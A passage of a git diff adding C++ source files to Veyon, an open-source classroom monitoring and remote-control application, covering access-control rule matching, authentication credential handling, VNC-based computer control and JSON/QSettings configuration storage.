AccessControlRule::SubjectAccessingUser: return accessingUser; + case AccessControlRule::SubjectAccessingComputer: return accessingComputer; + case AccessControlRule::SubjectLocalUser: return localUser; + case AccessControlRule::SubjectLocalComputer: return localComputer; + default: break; + } + + return QString(); +} + + + +bool AccessControlProvider::matchConditions( const AccessControlRule &rule, + const QString& accessingUser, const QString& accessingComputer, + const QString& localUser, const QString& localComputer, + const QStringList& connectedUsers ) const +{ + bool hasConditions = false; + + // normally all selected conditions have to match in order to make the whole rule match + // if conditions should be inverted (i.e. "is member of" is to be interpreted as "is NOT member of") + // we have to check against the opposite boolean value + bool matchResult = rule.areConditionsInverted() == false; + + qDebug() << "AccessControlProvider::matchConditions():" << rule.toJson() << matchResult; + + auto condition = AccessControlRule::ConditionMemberOfUserGroup; + + if( rule.isConditionEnabled( condition ) ) + { + hasConditions = true; + + const auto user = lookupSubject( rule.subject( condition ), accessingUser, QString(), localUser, QString() ); + const auto group = rule.argument( condition ); + + if( user.isEmpty() || group.isEmpty() || + isMemberOfUserGroup( user, group ) != matchResult ) + { + return false; + } + } + + condition = AccessControlRule::ConditionGroupsInCommon; + + if( rule.isConditionEnabled( condition ) ) + { + hasConditions = true; + + if( accessingUser.isEmpty() || localUser.isEmpty() || + hasGroupsInCommon( accessingUser, localUser ) != matchResult ) + { + return false; + } + } + + condition = AccessControlRule::ConditionLocatedInRoom; + + if( rule.isConditionEnabled( condition ) ) + { + hasConditions = true; + + const auto computer = lookupSubject( rule.subject( condition ), QString(), accessingComputer, QString(), localComputer ); + const auto room = rule.argument( condition ); + + if( computer.isEmpty() || room.isEmpty() || + isLocatedInRoom( computer, room ) != matchResult ) + { + return false; + } + } + + + condition = AccessControlRule::ConditionLocatedInSameRoom; + + if( rule.isConditionEnabled( condition ) ) + { + hasConditions = true; + + if( accessingComputer.isEmpty() || localComputer.isEmpty() || + isLocatedInSameRoom( accessingComputer, localComputer ) != matchResult ) + { + return false; + } + } + + if( rule.isConditionEnabled( AccessControlRule::ConditionAccessFromLocalHost ) ) + { + hasConditions = true; + + if( isLocalHost( accessingComputer ) != matchResult ) + { + return false; + } + } + + if( rule.isConditionEnabled( AccessControlRule::ConditionAccessFromLocalUser ) ) + { + hasConditions = true; + + if( isLocalUser( accessingUser, localUser ) != matchResult ) + { + return false; + } + } + + if( rule.isConditionEnabled( AccessControlRule::ConditionAccessFromAlreadyConnectedUser ) ) + { + hasConditions = true; + + if( connectedUsers.contains( accessingUser ) != matchResult ) + { + return false; + } + } + + if( rule.isConditionEnabled( AccessControlRule::ConditionNoUserLoggedOn ) ) + { + hasConditions = true; + + if( isNoUserLoggedOn() != matchResult ) + { + return false; + } + } + + // do not match the rule if no conditions are set at all + if( hasConditions == false ) + { + return false; + } + + return true; +} + + + +QStringList AccessControlProvider::objectNames( const QList& objects ) +{ + QStringList nameList; + nameList.reserve( objects.size() ); + + for( const auto& object : objects ) + { + nameList.append( object.name() ); + } + + return nameList; +} diff --git a/core/src/AccessControlRule.cpp b/core/src/AccessControlRule.cpp new file mode 100644 index 0000000..870eea9 --- /dev/null +++ b/core/src/AccessControlRule.cpp @@ -0,0 +1,130 @@ +/* + * AccessControlRule.cpp - implementation of the AccessControlRule class + * + * Copyright (c) 2016-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#include +#include + +#include "AccessControlRule.h" + +AccessControlRule::AccessControlRule() : + m_name(), + m_description(), + m_action( ActionNone ), + m_parameters(), + m_invertConditions( false ), + m_ignoreConditions( false ) +{ +} + + + +AccessControlRule::AccessControlRule(const AccessControlRule &other) : + m_name( other.name() ), + m_description( other.description() ), + m_action( other.action() ), + m_parameters( other.parameters() ), + m_invertConditions( other.areConditionsInverted() ), + m_ignoreConditions( other.areConditionsIgnored() ) +{ +} + + + +AccessControlRule::AccessControlRule(const QJsonValue &jsonValue) : + m_name(), + m_description(), + m_action( ActionNone ), + m_parameters(), + m_invertConditions( false ), + m_ignoreConditions( false ) +{ + if( jsonValue.isObject() ) + { + QJsonObject json = jsonValue.toObject(); + + m_name = json[QStringLiteral("Name")].toString(); + m_description = json[QStringLiteral("Description")].toString(); + m_action = static_cast( json[QStringLiteral("Action")].toInt() ); + m_invertConditions = json[QStringLiteral("InvertConditions")].toBool(); + m_ignoreConditions = json[QStringLiteral("IgnoreConditions")].toBool(); + + auto parameters = json[QStringLiteral("Parameters")].toArray(); + + for( auto parametersValue : parameters ) + { + QJsonObject parametersObj = parametersValue.toObject(); + auto condition = static_cast( parametersObj[QStringLiteral("Condition")].toInt() ); + + m_parameters[condition].enabled = parametersObj[QStringLiteral("Enabled")].toBool(); + m_parameters[condition].subject = static_cast( parametersObj[QStringLiteral("Subject")].toInt() ); + m_parameters[condition].argument = parametersObj[QStringLiteral("Argument")].toString(); + } + } +} + + + +AccessControlRule& AccessControlRule::operator=( const AccessControlRule& other ) +{ + m_name = other.name(); + m_description = other.description(); + m_action = other.action(); + m_parameters = other.parameters(); + m_invertConditions = other.areConditionsInverted(); + m_ignoreConditions = other.areConditionsIgnored(); + + return *this; +} + + + +QJsonObject AccessControlRule::toJson() const +{ + QJsonObject json; + + json[QStringLiteral("Name")] = m_name; + json[QStringLiteral("Description")] = m_description; + json[QStringLiteral("Action")] = m_action; + json[QStringLiteral("InvertConditions")] = m_invertConditions; + json[QStringLiteral("IgnoreConditions")] = m_ignoreConditions; + + QJsonArray parameters; + + for( auto it = m_parameters.constBegin(), end = m_parameters.constEnd(); it != end; ++it ) + { + if( isConditionEnabled( it.key() ) ) + { + QJsonObject parametersObject; + parametersObject[QStringLiteral("Condition")] = it.key(); + parametersObject[QStringLiteral("Enabled")] = true; + parametersObject[QStringLiteral("Subject")] = subject( it.key() ); + parametersObject[QStringLiteral("Argument")] = argument( it.key() ); + parameters.append( parametersObject ); + } + } + + json[QStringLiteral("Parameters")] = parameters; + + return json; +} diff --git a/core/src/AuthenticationCredentials.cpp b/core/src/AuthenticationCredentials.cpp new file mode 100644 index 0000000..111c1ce --- /dev/null +++ b/core/src/AuthenticationCredentials.cpp @@ -0,0 +1,87 @@ +/* + * AuthenticationCredentials.cpp - class holding credentials for authentication + * + * Copyright (c) 2010-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This software is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this software; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, + * USA. + */ + +#include "AuthenticationCredentials.h" + + +AuthenticationCredentials::AuthenticationCredentials() : + m_privateKey(), + m_logonUsername(), + m_logonPassword(), + m_token(), + m_internalVncServerPassword() +{ +} + + + +AuthenticationCredentials::AuthenticationCredentials( const AuthenticationCredentials &other ) : + m_privateKey(), + m_logonUsername( other.logonUsername() ), + m_logonPassword( other.logonPassword() ), + m_token( other.token() ), + m_internalVncServerPassword( other.internalVncServerPassword() ) +{ +} + + + +bool AuthenticationCredentials::hasCredentials( TypeFlags credentialType ) const +{ + if( credentialType & PrivateKey ) + { + return m_privateKey.isNull() == false; + } + + if( credentialType & UserLogon ) + { + return m_logonUsername.isEmpty() == false && + m_logonPassword.isEmpty() == false; + } + + if( credentialType & Token ) + { + return m_token.isEmpty() == false && + QByteArray::fromBase64( m_token.toUtf8() ).size() == CryptoCore::ChallengeSize; + } + + qCritical( "AuthenticationCredentials::hasCredentials(): no valid credential type given: %d", credentialType ); + + return false; +} + + + +bool AuthenticationCredentials::loadPrivateKey( const QString& privateKeyFile ) +{ + qDebug() << "AuthenticationCredentials: loading private key" << privateKeyFile; + + if( privateKeyFile.isEmpty() ) + { + return false; + } + + m_privateKey = CryptoCore::PrivateKey( privateKeyFile ); + + return m_privateKey.isNull() == false && m_privateKey.isPrivate(); +} diff --git a/core/src/BuiltinFeatures.cpp b/core/src/BuiltinFeatures.cpp new file mode 100644 index 0000000..dfe1586 --- /dev/null +++ b/core/src/BuiltinFeatures.cpp @@ -0,0 +1,57 @@ +/* + * BuiltinFeatures.cpp - implementation of BuiltinFeatures class + * + * Copyright (c) 2017-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#include "BuiltinFeatures.h" +#include "FeatureControl.h" +#include "MonitoringMode.h" +#include "PluginManager.h" +#include "SystemTrayIcon.h" +#include "UserSessionControl.h" +#include "DesktopAccessDialog.h" + + +BuiltinFeatures::BuiltinFeatures() : + m_featureControl( new FeatureControl ), + m_systemTrayIcon( new SystemTrayIcon ), + m_monitoringMode( new MonitoringMode ), + m_desktopAccessDialog( new DesktopAccessDialog ), + m_userSessionControl( new UserSessionControl ) +{ + VeyonCore::pluginManager().registerExtraPluginInterface( m_featureControl ); + VeyonCore::pluginManager().registerExtraPluginInterface( m_systemTrayIcon ); + VeyonCore::pluginManager().registerExtraPluginInterface( m_monitoringMode ); + VeyonCore::pluginManager().registerExtraPluginInterface( m_desktopAccessDialog ); + VeyonCore::pluginManager().registerExtraPluginInterface( m_userSessionControl ); +} + + + +BuiltinFeatures::~BuiltinFeatures() +{ + delete m_userSessionControl; + delete m_systemTrayIcon; + delete m_monitoringMode; + delete m_desktopAccessDialog; + delete m_featureControl; +} diff --git a/core/src/CommandLineIO.cpp b/core/src/CommandLineIO.cpp new file mode 100644 index 0000000..92334af --- /dev/null +++ b/core/src/CommandLineIO.cpp @@ -0,0 +1,112 @@ +/* + * CommandLineIO.cpp - text input/output for command line plugins + * + * Copyright (c) 2018-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#include "CommandLineIO.h" + + +void CommandLineIO::print( const QString& message ) +{ + printf( "%s\n", qUtf8Printable( message ) ); +} + + + +void CommandLineIO::info( const QString &message ) +{ + fprintf( stderr, "[INFO] %s\n", qUtf8Printable( message ) ); +} + + + +void CommandLineIO::error( const QString& message ) +{ + fprintf( stderr, "[ERROR] %s\n", qUtf8Printable( message ) ); +} + + + +void CommandLineIO::printTable( const CommandLineIO::Table& table, char horizontal, char vertical, char corner ) +{ + // determine column count + int columnCount = table.first.size(); + for( const auto& row : table.second ) + { + columnCount = qMax( columnCount, row.size() ); + } + + // determine maximum width for each column + QVector columnWidths( columnCount ); + for( int col = 0; col < table.first.size(); ++col ) + { + columnWidths[col] = qMax( columnWidths[col], table.first[col].size()+2 ); + } + + for( const auto& row : table.second ) + { + for( int col = 0; col < row.size(); ++col ) + { + columnWidths[col] = qMax( columnWidths[col], row[col].size()+2 ); + } + } + + printTableRuler( columnWidths, horizontal, corner ); + printTableRow( columnWidths, vertical, table.first ); + printTableRuler( columnWidths, horizontal, corner ); + + for( const auto& row : table.second ) + { + printTableRow( columnWidths, vertical, row ); + } + + printTableRuler( columnWidths, horizontal, corner ); +} + + + +void CommandLineIO::printTableRuler( const CommandLineIO::TableColumnWidths& columnWidths, char horizontal, char corner ) +{ + printf( "%c", corner ); + for( const auto& width : columnWidths ) + { + for( int i = 0; i < width; ++i ) + { + printf( "%c", horizontal ); + } + printf( "%c", corner ); + } + printf( "\n" ); +} + + + +void CommandLineIO::printTableRow( const TableColumnWidths& columnWidths, char vertical, const TableRow& row ) +{ + printf( "%c", vertical ); + for( int col = 0; col < columnWidths.size(); ++col ) + { + const auto cell = row.value( col ); + printf( " %s%c", qUtf8Printable( cell + QString( columnWidths[col] - cell.size() - 1, ' ' ) ), vertical ); + } + printf( "\n" ); +} diff --git a/core/src/Computer.cpp b/core/src/Computer.cpp new file mode 100644 index 0000000..b4f4f95 --- /dev/null +++ b/core/src/Computer.cpp @@ -0,0 +1,38 @@ +/* + * Computer.cpp - represents a computer and provides control methods and data + * + * Copyright (c) 2017-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#include "Computer.h" + +Computer::Computer( NetworkObject::Uid networkObjectUid, + const QString& name, + const QString& hostAddress, + const QString& macAddress, + const QString& room ) : + m_networkObjectUid( networkObjectUid ), + m_name( name ), + m_hostAddress( hostAddress ), + m_macAddress( macAddress ), + m_room( room ) +{ +} diff --git a/core/src/ComputerControlInterface.cpp b/core/src/ComputerControlInterface.cpp new file mode 100644 index 0000000..2cd0c0d --- /dev/null +++ b/core/src/ComputerControlInterface.cpp @@ -0,0 +1,301 @@ +/* + * ComputerControlInterface.cpp - interface class for controlling a computer + * + * Copyright (c) 2017-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#include "BuiltinFeatures.h" +#include "ComputerControlInterface.h" +#include "Computer.h" +#include "FeatureControl.h" +#include "MonitoringMode.h" +#include "UserSessionControl.h" +#include "VeyonConfiguration.h" +#include "VeyonConnection.h" +#include "VncConnection.h" + + +ComputerControlInterface::ComputerControlInterface( const Computer& computer, + QObject* parent ) : + QObject( parent ), + m_computer( computer ), + m_state( Disconnected ), + m_user(), + m_scaledScreenSize(), + m_vncConnection( nullptr ), + m_connection( nullptr ), + m_builtinFeatures( nullptr ), + m_connectionWatchdogTimer( this ), + m_screenUpdated( false ) +{ + m_connectionWatchdogTimer.setInterval( ConnectionWatchdogTimeout ); + m_connectionWatchdogTimer.setSingleShot( true ); + connect( &m_connectionWatchdogTimer, &QTimer::timeout, this, &ComputerControlInterface::restartConnection ); +} + + + +ComputerControlInterface::~ComputerControlInterface() +{ + stop(); +} + + + +ComputerControlInterface::Pointer ComputerControlInterface::weakPointer() +{ + return Pointer( this, []( ComputerControlInterface* ) { } ); +} + + + +void ComputerControlInterface::start( QSize scaledScreenSize, BuiltinFeatures* builtinFeatures ) +{ + // make sure we do not leak + stop(); + + m_scaledScreenSize = scaledScreenSize; + m_builtinFeatures = builtinFeatures; + + if( m_computer.hostAddress().isEmpty() == false ) + { + m_vncConnection = new VncConnection(); + m_vncConnection->setHost( m_computer.hostAddress() ); + m_vncConnection->setQuality( VncConnection::ThumbnailQuality ); + m_vncConnection->setScaledSize( m_scaledScreenSize ); + m_vncConnection->setFramebufferUpdateInterval( VeyonCore::config().computerMonitoringUpdateInterval() ); + + m_connection = new VeyonConnection( m_vncConnection ); + + m_vncConnection->start(); + + connect( m_vncConnection, &VncConnection::framebufferUpdateComplete, this, &ComputerControlInterface::setScreenUpdateFlag ); + connect( m_vncConnection, &VncConnection::framebufferUpdateComplete, this, &ComputerControlInterface::resetWatchdog ); + + connect( m_vncConnection, &VncConnection::stateChanged, this, &ComputerControlInterface::updateState ); + connect( m_vncConnection, &VncConnection::stateChanged, this, &ComputerControlInterface::updateUser ); + connect( m_vncConnection, &VncConnection::stateChanged, this, &ComputerControlInterface::updateActiveFeatures ); + + connect( m_connection, &VeyonConnection::featureMessageReceived, this, &ComputerControlInterface::handleFeatureMessage ); + connect( m_connection, &VeyonConnection::featureMessageReceived, this, &ComputerControlInterface::resetWatchdog ); + + auto userUpdateTimer = new QTimer( m_connection ); + connect( userUpdateTimer, &QTimer::timeout, this, &ComputerControlInterface::updateUser ); + userUpdateTimer->start( UserUpdateInterval ); + + auto activeFeaturesUpdateTimer = new QTimer( m_connection ); + connect( activeFeaturesUpdateTimer, &QTimer::timeout, this, &ComputerControlInterface::updateActiveFeatures ); + activeFeaturesUpdateTimer->start( ActiveFeaturesUpdateInterval ); + } + else + { + qWarning( "ComputerControlInterface::start(): computer host address is empty!" ); + } +} + + + +void ComputerControlInterface::stop() +{ + if( m_connection ) + { + delete m_connection; + m_connection = nullptr; + } + + if( m_vncConnection ) + { + // do not delete VNC connection but let it delete itself after stopping automatically + m_vncConnection->stopAndDeleteLater(); + m_vncConnection = nullptr; + } + + m_connectionWatchdogTimer.stop(); + + m_state = Disconnected; +} + + + +void ComputerControlInterface::setScaledScreenSize( QSize scaledScreenSize ) +{ + m_scaledScreenSize = scaledScreenSize; + + if( m_vncConnection ) + { + m_vncConnection->setScaledSize( m_scaledScreenSize ); + } + + setScreenUpdateFlag(); +} + + + +QImage ComputerControlInterface::scaledScreen() const +{ + if( m_vncConnection && m_vncConnection->isConnected() ) + { + return m_vncConnection->scaledScreen(); + } + + return QImage(); +} + + + +QImage ComputerControlInterface::screen() const +{ + if( m_vncConnection && m_vncConnection->isConnected() ) + { + return m_vncConnection->image(); + } + + return QImage(); +} + + + +void ComputerControlInterface::setUser( const QString& user ) +{ + if( user != m_user ) + { + m_user = user; + + emit userChanged(); + } +} + + + +void ComputerControlInterface::setActiveFeatures( const FeatureUidList& activeFeatures ) +{ + if( activeFeatures != m_activeFeatures ) + { + m_activeFeatures = activeFeatures; + + emit activeFeaturesChanged(); + } +} + + + +void ComputerControlInterface::setDesignatedModeFeature( Feature::Uid designatedModeFeature ) +{ + m_designatedModeFeature = designatedModeFeature; + + updateActiveFeatures(); +} + + + +void ComputerControlInterface::sendFeatureMessage( const FeatureMessage& featureMessage ) +{ + if( m_connection && m_connection->isConnected() ) + { + m_connection->sendFeatureMessage( featureMessage ); + } +} + + + +void ComputerControlInterface::resetWatchdog() +{ + if( state() == Connected ) + { + m_connectionWatchdogTimer.start(); + } +} + + + +void ComputerControlInterface::restartConnection() +{ + if( m_vncConnection ) + { + qDebug() << Q_FUNC_INFO; + m_vncConnection->restart(); + + m_connectionWatchdogTimer.stop(); + } +} + + + +void ComputerControlInterface::updateState() +{ + if( m_vncConnection ) + { + switch( m_vncConnection->state() ) + { + case VncConnection::Disconnected: m_state = Disconnected; break; + case VncConnection::Connecting: m_state = Connecting; break; + case VncConnection::Connected: m_state = Connected; break; + case VncConnection::HostOffline: m_state = Offline; break; + case VncConnection::ServiceUnreachable: m_state = ServiceUnreachable; break; + case VncConnection::AuthenticationFailed: m_state = AuthenticationFailed; break; + default: m_state = Unknown; break; + } + } + else + { + m_state = Disconnected; + } + + setScreenUpdateFlag(); +} + + + +void ComputerControlInterface::updateUser() +{ + if( m_vncConnection && m_connection && state() == Connected ) + { + if( user().isEmpty() ) + { + m_builtinFeatures->userSessionControl().getUserSessionInfo( { weakPointer() } ); + } + } + else + { + setUser( QString() ); + } +} + + + +void ComputerControlInterface::updateActiveFeatures() +{ + if( m_vncConnection && m_connection && state() == Connected ) + { + m_builtinFeatures->featureControl().queryActiveFeatures( { weakPointer() } ); + } + else + { + setActiveFeatures( {} ); + } +} + + + +void ComputerControlInterface::handleFeatureMessage( const FeatureMessage& message ) +{ + emit featureMessageReceived( message, weakPointer() ); +} diff --git a/core/src/Configuration/JsonStore.cpp b/core/src/Configuration/JsonStore.cpp new file mode 100644 index 0000000..00727f1 --- /dev/null +++ b/core/src/Configuration/JsonStore.cpp @@ -0,0 +1,199 @@ +/* + * Configuration/JsonStore.cpp - implementation of JsonStore + * + * Copyright (c) 2017-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#include +#include +#include +#include +#include + +#include "Configuration/JsonStore.h" +#include "Configuration/Object.h" +#include "Filesystem.h" +#include "VeyonConfiguration.h" +#include "PlatformFilesystemFunctions.h" + + +namespace Configuration +{ + +JsonStore::JsonStore( Scope scope, const QString &file ) : + Store( Store::JsonFile, scope ), + m_file( file ) +{ +} + + + +static void loadJsonTree( Object* obj, const QJsonObject& jsonParent, const QString& parentKey ) +{ + for( auto it = jsonParent.begin(); it != jsonParent.end(); ++it ) + { + if( it.value().isObject() ) + { + QJsonObject jsonObject = it.value().toObject(); + + if( jsonObject.contains( QStringLiteral( "JsonStoreArray" ) ) ) + { + obj->setValue( it.key(), jsonObject[QStringLiteral("JsonStoreArray")].toArray(), parentKey ); + } + else if( jsonObject.contains( QStringLiteral( "JsonStoreObject" ) ) ) + { + obj->setValue( it.key(), jsonObject[QStringLiteral("JsonStoreObject")].toObject(), parentKey ); + } + else + { + const QString subParentKey = parentKey + ( parentKey.isEmpty() ? "" : "/" ) + it.key(); + loadJsonTree( obj, it.value().toObject(), subParentKey ); + } + } + else + { + obj->setValue( it.key(), it.value().toVariant(), parentKey ); + } + } +} + + + +void JsonStore::load( Object* obj ) +{ + QFile jsonFile( configurationFilePath() ); + if( !jsonFile.open( QFile::ReadOnly ) ) + { + qWarning() << "JsonStore::load(): could not open" << jsonFile.fileName(); + return; + } + + QJsonDocument jsonDoc = QJsonDocument::fromJson( jsonFile.readAll() ); + + loadJsonTree( obj, jsonDoc.object(), QString() ); +} + + + +static QJsonObject saveJsonTree( const Object::DataMap& dataMap ) +{ + QJsonObject jsonData; + + for( auto it = dataMap.begin(); it != dataMap.end(); ++it ) + { + if( it.value().type() == QVariant::Map ) + { + jsonData[it.key()] = saveJsonTree( it.value().toMap() ); + } + else if( static_cast( it.value().type() ) == QMetaType::QJsonArray ) + { + QJsonObject jsonObj; + jsonObj[QStringLiteral("JsonStoreArray")] = it.value().toJsonArray(); + jsonData[it.key()] = jsonObj; + } + else if( static_cast( it.value().type() ) == QMetaType::QJsonObject ) + { + QJsonObject jsonObj; + jsonObj[QStringLiteral("JsonStoreObject")] = it.value().toJsonObject(); + jsonData[it.key()] = jsonObj; + } + else + { + jsonData[it.key()] = QJsonValue::fromVariant( it.value() ); + } + } + + return jsonData; +} + + + +void JsonStore::flush( const Object* obj ) +{ + QFile outfile( configurationFilePath() ); + if( !outfile.open( QIODevice::WriteOnly | QIODevice::Truncate ) ) + { + qCritical() << "JsonStore::flush(): could not write to configuration file" + << configurationFilePath(); + return; + } + + outfile.write( QJsonDocument( saveJsonTree( obj->data() ) ).toJson() ); +} + + + +bool JsonStore::isWritable() const +{ + QFile outfile( configurationFilePath() ); + outfile.open( QFile::WriteOnly | QFile::Append ); + outfile.close(); + + return QFileInfo( configurationFilePath() ).isWritable(); + +} + + + +void JsonStore::clear() +{ + // truncate configuration file + QFile outfile( configurationFilePath() ); + outfile.open( QIODevice::WriteOnly | QIODevice::Truncate ); +} + + + +QString JsonStore::configurationFilePath() const +{ + if( m_file.isEmpty() == false ) + { + return m_file; + } + + QString base; + switch( scope() ) + { + case User: + base = VeyonCore::config().userConfigurationDirectory(); + break; + case System: + base = VeyonCore::platform().filesystemFunctions().globalAppDataPath(); + break; + default: + base = QDir::homePath(); + break; + } + + base = VeyonCore::filesystem().expandPath( base ); + + VeyonCore::filesystem().ensurePathExists( base ); + + auto fileNameBase = name(); + if( fileNameBase.isEmpty() ) + { + fileNameBase = configurationNameFromScope(); + } + + return QDir::toNativeSeparators( base + QDir::separator() + fileNameBase + ".json" ); +} + +} diff --git a/core/src/Configuration/LocalStore.cpp b/core/src/Configuration/LocalStore.cpp new file mode 100644 index 0000000..bd198b1 --- /dev/null +++ b/core/src/Configuration/LocalStore.cpp @@ -0,0 +1,190 @@ +/* + * ConfigurationLocalStore.cpp - implementation of LocalStore + * + * Copyright (c) 2009-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#include +#include + +#include "Configuration/LocalStore.h" +#include "Configuration/Object.h" + + +namespace Configuration +{ + +LocalStore::LocalStore( Scope scope ) : + Store( Store::LocalBackend, scope ) +{ +} + + + + +static void loadSettingsTree( Object *obj, QSettings *s, + const QString &parentKey ) +{ + const auto childGroups = s->childGroups(); + + for( const auto& g : childGroups ) + { + const QString subParentKey = parentKey + + ( parentKey.isEmpty() ? "" : "/" ) + g; + s->beginGroup( g ); + loadSettingsTree( obj, s, subParentKey ); + s->endGroup(); + } + + const auto childKeys = s->childKeys(); + + for( const auto& k : childKeys ) + { + QString stringValue = s->value( k ).toString(); + QRegExp jsonValueRX( QStringLiteral("@JsonValue(\\(.*\\))") ); + + if( jsonValueRX.indexIn( stringValue ) == 0 ) + { + auto jsonValue = QJsonDocument::fromJson( QByteArray::fromBase64( jsonValueRX.cap( 1 ).toUtf8() ) ).object(); + if( jsonValue.contains( QStringLiteral( "a" ) ) ) + { + obj->setValue( k, jsonValue[QStringLiteral("a")].toArray(), parentKey ); + } + else if( jsonValue.contains( QStringLiteral("o") ) ) + { + obj->setValue( k, jsonValue[QStringLiteral("o")].toObject(), parentKey ); + } + else + { + qCritical( "LocalStore: trying to load unknown JSON value type!" ); + } + } + else + { + obj->setValue( k, s->value( k ), parentKey ); + } + } +} + + + +void LocalStore::load( Object *obj ) +{ + auto s = createSettingsObject(); + loadSettingsTree( obj, s, QString() ); + delete s; +} + + + +static QString serializeJsonValue( const QJsonValue& jsonValue ) +{ + QJsonObject jsonObject; + + if( jsonValue.isArray() ) + { + jsonObject[QStringLiteral("a")] = jsonValue; + } + else if( jsonValue.isObject() ) + { + jsonObject[QStringLiteral("o")] = jsonValue; + } + else + { + qCritical( "LocalStore: trying to save unknown JSON value type %d!", (int) jsonValue.type() ); + } + + return QStringLiteral("@JsonValue(%1)").arg( QString( QJsonDocument( jsonObject ).toJson( QJsonDocument::Compact ).toBase64() ) ); +} + + + +static void saveSettingsTree( const Object::DataMap &dataMap, QSettings *s ) +{ + for( auto it = dataMap.begin(); it != dataMap.end(); ++it ) + { + if( it.value().type() == QVariant::Map ) + { + s->beginGroup( it.key() ); + saveSettingsTree( it.value().toMap(), s ); + s->endGroup(); + } + else if( static_cast( it.value().type() ) == QMetaType::QJsonArray ) + { + s->setValue( it.key(), serializeJsonValue( it.value().toJsonArray() ) ); + } + else if( static_cast( it.value().type() ) == QMetaType::QJsonObject ) + { + s->setValue( it.key(), serializeJsonValue( it.value().toJsonObject() ) ); + } + else + { + s->setValue( it.key(), it.value() ); + } + } +} + + + +void LocalStore::flush( const Object *obj ) +{ + auto s = createSettingsObject(); + // clear previously saved items + s->setFallbacksEnabled( false ); + s->clear(); + saveSettingsTree( obj->data(), s ); + delete s; +} + + + +bool LocalStore::isWritable() const +{ + auto s = createSettingsObject(); + bool ret = s->isWritable(); + delete s; + + return ret; +} + + + +void LocalStore::clear() +{ + auto s = createSettingsObject(); + s->setFallbacksEnabled( false ); + s->clear(); + delete s; +} + + + +QSettings *LocalStore::createSettingsObject() const +{ + return new QSettings( scope() == System ? + QSettings::SystemScope : QSettings::UserScope, + QSettings().organizationName(), + QSettings().applicationName() ); +} + + +} + diff --git a/core/src/Configuration/Object.cpp b/core/src/Configuration/Object.cpp new file mode 